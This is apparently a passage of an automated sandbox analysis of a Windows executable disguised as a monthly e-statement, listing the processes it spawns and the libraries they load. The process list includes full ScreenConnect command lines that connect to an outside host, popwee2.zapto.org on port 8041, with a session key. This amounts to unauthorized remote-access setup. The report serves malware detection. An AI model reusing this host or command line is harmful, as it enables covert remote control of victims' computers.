Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe "C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe"
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Source: unknown	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "c62c9dea-32aa-435a-858b-87f989247e7c" "User"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 332
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "c62c9dea-32aa-435a-858b-87f989247e7c" "User"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 332
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll	Jump to behavior
